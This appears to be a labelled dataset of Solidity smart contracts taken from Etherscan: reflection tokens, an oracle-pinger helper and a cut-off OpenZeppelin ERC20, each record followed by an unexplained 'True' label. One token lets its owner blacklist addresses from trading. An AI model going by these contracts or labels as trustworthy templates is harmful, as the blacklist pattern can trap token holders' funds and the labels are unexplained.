function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 15000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-10-26
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ShibaKing is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000 * 10**6 * 10**8;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Shiba King';
string private _symbol = 'SHIB-K';
uint8 private _decimals = 8;
uint256 public _maxTxAmount = 1000 * 10**6 * 10**8;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
True
|
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1065,
2724,
1012,
1008,
1013,
3853,
14300,
102
] |
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/**
*Submitted for verification at Etherscan.io on 2022-03-29
*/
pragma solidity ^0.6.7;
interface ExternallyFundedOSM {
function updateResult() external;
}
interface OracleRelayer {
function updateCollateralPrice(bytes32 collateralType) external;
}
interface CoinMedianizer {
function updateResult(address feeReceiver) external;
}
interface RateSetter {
function updateRate(address feeReceiver) external;
}
interface CoinJoin {
function exit(address to, uint256 wad) external;
function systemCoin() external returns (address);
}
interface SafeEngine {
function coinBalance(address user) external returns (uint256);
function approveSAFEModification(address) external;
}
interface Erc20 {
function balanceOf(address user) external returns (uint256);
function transfer(address to, uint256 wad) external;
}
contract PingerBundledCall {
address owner;
ExternallyFundedOSM public osmEthA;
OracleRelayer public oracleRelayer;
CoinMedianizer public coinMedianizer;
RateSetter public rateSetter;
CoinJoin public coinJoin;
bytes32 ETH_A = 0x4554482d41000000000000000000000000000000000000000000000000000000;
constructor(address osmEthA_, address oracleRelayer_, address coinMedianizer_, address rateSetter_, address _owner, address _coinJoin, address _safeEngine) public {
osmEthA = ExternallyFundedOSM(osmEthA_);
oracleRelayer = OracleRelayer(oracleRelayer_);
rateSetter = RateSetter(rateSetter_);
coinMedianizer = CoinMedianizer(coinMedianizer_);
owner = _owner;
coinJoin = CoinJoin(_coinJoin);
SafeEngine(_safeEngine).approveSAFEModification(_coinJoin);
}
function updateOsmAndEthAOracleRelayer() external {
osmEthA.updateResult();
oracleRelayer.updateCollateralPrice(ETH_A);
}
function updateOsmAndOracleRelayer(address osm, bytes32 collateralType) external {
ExternallyFundedOSM(osm).updateResult();
oracleRelayer.updateCollateralPrice(collateralType);
}
function updateCoinMedianizerAndRateSetter(address feeReceiver) external {
coinMedianizer.updateResult(feeReceiver);
rateSetter.updateRate(feeReceiver);
}
function withdrawPayout(address to, uint256 wad) external {
require(msg.sender == owner, "Not owner");
coinJoin.exit(address(this), wad);
Erc20(coinJoin.systemCoin()).transfer(to, wad);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-08-24
*/
// Sources flattened with hardhat v2.4.3 https://hardhat.org
// File @openzeppelin/contracts/token/ERC20/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
